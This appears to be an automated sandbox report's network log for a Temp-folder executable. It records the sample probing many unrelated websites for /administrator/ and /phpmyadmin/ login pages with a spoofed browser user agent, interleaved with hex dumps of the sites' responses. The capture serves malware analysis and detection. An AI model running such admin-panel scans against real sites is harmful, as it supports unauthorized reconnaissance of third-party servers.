Dec 20, 2023 03:13:22.401659012 CET	1286	IN	Data Raw: 6d 70 5f 69 6e 73 74 61 67 72 61 6d 20 73 70 61 6e 2e 74 68 65 5f 63 68 61 6d 70 5f 73 76 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 63 69 72 63 6c 65 20 61 74 20 33 30 25 20 31 30 37 25 2c 23 66 64 66 Data Ascii: mp_instagram span.the_champ_svg{background:radial-gradient(circle at 30% 107%,#fdf497 0,#fdf497 5%,#fd5949 45%,#d6249f 60%,#285aeb 90%)}.the_champ_horizontal_sharing .the_champ_svg,.heateor_ss_standard_follow_icons_container .the_champ_
Dec 20, 2023 03:13:22.401700020 CET	1286	IN	Data Raw: 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 7d 64 69 76 2e 74 68 65 5f 63 68 61 6d 70 5f 62 6f 74 74 6f 6d 5f 73 68 61 72 69 6e 67 7b 77 69 64 74 68 3a 31 30 30 Data Ascii: width:100%!important;background-color:white}div.the_champ_bottom_sharing{width:100%!important;left:0!important;}div.the_champ_bottom_sharing a{width:33.333333333333% !important;margin:0!important;padding:0!important;}div.the_champ_bottom_shari
Dec 20, 2023 03:13:22.401717901 CET	1286	IN	Data Raw: 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 Data Ascii: om/comments/feed/" /><script type="text/javascript">window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg",
Dec 20, 2023 03:13:22.401731968 CET	1286	IN	Data Raw: 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 Data Ascii: 128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([129777,127995,8205,129778,127999],[129777,127995,8203,129778,127999])}return!1}(o[r]),t.supports.everything=t.supports.every
Dec 20, 2023 03:13:22.401828051 CET	1286	IN	Data Raw: 72 79 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d Data Ascii: ry-css' href='http://twohillsstudio.com/wp-includes/css/dist/block-library/style.min.css?ver=6.1.4' type='text/css' media='all' /><link rel='stylesheet' id='classic-theme-styles-css' href='http://twohillsstudio.com/wp-includes/css/classic-the
Dec 20, 2023 03:13:22.401854038 CET	1286	IN	Data Raw: 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c Data Ascii: adient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--p
Dec 20, 2023 03:13:22.401876926 CET	1286	IN	Data Raw: 3a 20 75 72 6c 28 27 23 77 70 2d 64 75 6f 74 6f 6e 65 2d 70 75 72 70 6c 65 2d 79 65 6c 6c 6f 77 27 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 64 75 6f 74 6f 6e 65 2d 2d 62 6c 75 65 2d 72 65 64 3a 20 75 72 6c 28 27 23 77 70 2d 64 75 6f 74 6f Data Ascii: : url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yellow: url('#wp-duotone-magenta-yellow');--wp--preset-
Dec 20, 2023 03:13:22.401905060 CET	1286	IN	Data Raw: 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 Data Ascii: .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-
Dec 20, 2023 03:13:22.401916981 CET	1286	IN	Data Raw: 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 Data Ascii: olor--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: va
Dec 20, 2023 03:13:22.568037987 CET	1286	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 Data Ascii: kground-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--pr
Dec 20, 2023 03:13:22.962543964 CET	242	OUT	GET /administrator/index.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://twohillsstudio.com/administrator/
Dec 20, 2023 03:13:23.253700972 CET	317	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://twohillsstudio.com/administrator/ Content-Length: 0 Content-Type: text/html; charset=UTF-8
Dec 20, 2023 03:13:23.266045094 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://twohillsstudio.com/administrator/
Dec 20, 2023 03:13:23.520258904 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/" Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 09 09 09 2e 74 68 65 5f 63 68 61 6d 70 5f 62 75 74 74 6f 6e 5f 69 6e 73 74 61 67 72 61 6d 20 73 70 61 6e 2e 74 68 65 5f 63 68 61 6d 70 5f 73 76 67 2c 61 2e 74 68 65 5f 63 68 61 6d 70 5f 69 6e 73 74 61 67 72 61 6d 20 73 70 61 6e 2e 74 68 65 5f 63 68 61 6d 70 5f 73 76 67 7b 62 61 Data Ascii: 1f13<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><link rel="pingback" href="http://twohillsstudio.com/xmlrpc.php"><title>Page not found – Two Hills Studio</title><script type="text/javascript">function theChampLoadEvent(e){var t=window.onload;if(typeof window.onload!="function"){window.onload=e}else{window.onload=function(){t();e()}}}</script><script type="text/javascript">var theChampDefaultLang = 'en_US', theChampCloseIconPath = 'http://twohillsstudio.com/wp-content/plugins/super-socializer/images/close.png';</script><script>var theChampSiteUrl = 'https://twohillsstudio.com', theChampVerified = 0, theChampEmailPopup = 0, heateorSsMoreSharePopupSearchText = 'Search';</script><style type="text/css">.the_champ_button_instagram span.the_champ_svg,a.the_champ_instagram span.the_champ_svg{ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	53650	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.132406950 CET	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.283459902 CET	951	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://walshfam.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Hv4JwNTvitbuPMhtY4lJnRcRS3FzGH88PEQNw3NbwpvZg5K+kesv4IUt5XXDUjN/SCucdjlowbOVsvkk2xjPFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	53668	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.133052111 CET	181	OUT	GET /administrator/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.284868002 CET	957	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://topshelfgames.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_iYcKIyKaUHU3qeKapRL88S0ihrXa8Q+Bx/6ybWGbR0DwxJhZOgDUN4gl1X8gE7W5lpxf5e1mCB3d0RpNyr8kFg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	53664	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.133548975 CET	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ecochild.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.317425013 CET	1286	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 X-Storefront-Renderer-Rendered: 1 Location: https://www.ecochild.com.au/phpmyadmin X-Redirect-Reason: https_required X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none'; X-ShopId: 7475083 X-ShardId: 60 Vary: Accept powered-by: Shopify Server-Timing: processing;dur=23, db;dur=5, asn;desc="174", edge;desc="MIA", country;desc="US", pageType;desc="404", servedBy;desc="kgvl", requestID;desc="87c5ce67-5599-45dc-b279-834be0582976" X-Shopify-Stage: production X-Request-ID: 87c5ce67-5599-45dc-b279-834be0582976 X-XSS-Protection: 1; mode=block X-Download-Options: noopen X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sxqcKnc%2Fongn6dwsN5fVsp5Svpm1hdhKyN9clzGw0k9AL3g1x2kYHEUcjQM10gsp9lcZEQxY2O6RKsrTsO5A1615SQ8eqSs2o6HBqbuN8BRyhoxgWJBzFxfpcR7XaO4fwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server-Timing: cfRequestDuration;dur=59.0000 Data Raw: Data Ascii:
Dec 20, 2023 03:13:22.317439079 CET	90	IN	Data Raw: 35 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 34 35 64 39 64 61 65 66 30 37 34 36 64 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d Data Ascii: 5Server: cloudflareCF-RAY: 83845d9daef0746d-MIAalt-svc: h3=":443"; ma=864000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	53665	104.21.20.204	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.133816004 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.273364067 CET	665	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Wed, 20 Dec 2023 03:13:22 GMT Location: https://majormega.com/administrator/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MYiBaXVoaSPkbyUt3hf40toWuY7h36TZ08DdSJszm8KsaNBE5tRYlbyyKbJgPm%2Bf5fgxiXMrxnqenZaFpPQ6hVMl58A5VmcP9z9KcsqTdI3%2FsZbh9luoy1k7abo44UXX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 83845d9daa417442-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	53677	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.136089087 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.290422916 CET	958	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://lsmnutrition.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_YSAMmM5cf6uOQietPkakrjb/y8mlZQUAKTzEMD3X8a6kjwrSJkEGug3kaFZ7fWFzTEOvgHHEUb76Bvs1Lhz3YQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	53681	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.156464100 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: engelgau.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.299324989 CET	340	IN	HTTP/1.1 301 Moved Permanently Server: Sun-ONE-Web-Server/6.1 Date: Wed, 20 Dec 2023 02:13:22 GMT Content-length: 122 Content-type: text/html Location: http://www.engelgau.net/administrator/ Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 0a 41 6e 20 65 72 72 6f 72 20 68 61 73 20 6f 63 63 75 72 72 65 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD><BODY><H1>Moved Permanently</H1>An error has occurred.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	53680	205.178.189.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.156465054 CET	187	OUT	GET /administrator/ HTTP/1.1 Host: carisfoundationintl.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.301352024 CET	343	IN	HTTP/1.1 301 Moved Permanently Server: Sun-ONE-Web-Server/6.1 Date: Wed, 20 Dec 2023 02:13:22 GMT Content-length: 122 Content-type: text/html Location: http://carisfoundation.org/administrator/ Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 0a 41 6e 20 65 72 72 6f 72 20 68 61 73 20 6f 63 63 75 72 72 65 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD><BODY><H1>Moved Permanently</H1>An error has occurred.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	53682	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.159039021 CET	184	OUT	GET /administrator/ HTTP/1.1 Host: hildebrandlegacy.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.297615051 CET	295	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 51 Connection: keep-alive Location: http://hildebrandproject.org X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://hildebrandproject.org'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	53686	185.230.63.171	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.165117979 CET	183	OUT	GET /administrator/ HTTP/1.1 Host: u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
